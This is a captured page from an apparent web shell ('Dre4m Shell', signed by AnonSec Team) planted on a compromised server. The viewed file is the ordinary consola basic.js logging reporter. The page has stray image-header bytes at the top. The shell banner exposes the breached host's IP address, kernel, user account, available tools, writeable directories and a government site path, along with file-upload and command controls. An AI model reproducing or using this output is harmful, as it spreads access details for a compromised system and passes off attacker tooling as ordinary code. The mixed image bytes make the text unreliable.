ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.149.237.128
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/consola/src/reporters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/consola/src/reporters/basic.js
import util from 'util'
import { parseStack } from '../utils/error'
import { writeStream } from '../utils/stream'
import { formatDate } from '../utils/date'

const DEFAULTS = {
  dateFormat: 'HH:mm:ss',
  formatOptions: {
    date: true,
    colors: false,
    compact: true
  }
}

const bracket = x => x ? `[${x}]` : ''

export default class BasicReporter {
  constructor (options) {
    this.options = Object.assign({}, DEFAULTS, options)
  }

  formatStack (stack) {
    return '  ' + parseStack(stack).join('\n  ')
  }

  formatArgs (args) {
    const _args = args.map(arg => {
      if (arg && typeof arg.stack === 'string') {
        return arg.message + '\n' + this.formatStack(arg.stack)
      }
      return arg
    })

    // Only supported with Node >= 10
    // https://nodejs.org/api/util.html#util_util_inspect_object_options
    if (typeof util.formatWithOptions === 'function') {
      return util.formatWithOptions(this.options.formatOptions, ..._args)
    } else {
      return util.format(..._args)
    }
  }

  formatDate (date) {
    return this.options.formatOptions.date ? formatDate(this.options.dateFormat, date) : ''
  }

  filterAndJoin (arr) {
    return arr.filter(x => x).join(' ')
  }

  formatLogObj (logObj) {
    const message = this.formatArgs(logObj.args)

    return this.filterAndJoin([
      bracket(logObj.type),
      bracket(logObj.tag),
      message
    ])
  }

  log (logObj, { async, stdout, stderr } = {}) {
    const line = this.formatLogObj(logObj, {
      width: stdout.columns || 0
    })

    return writeStream(
      line + '\n',
      logObj.level < 2 ? stderr : stdout,
      async ? 'async' : 'default'
    )
  }
}

Anon7 - 2022
AnonSec Team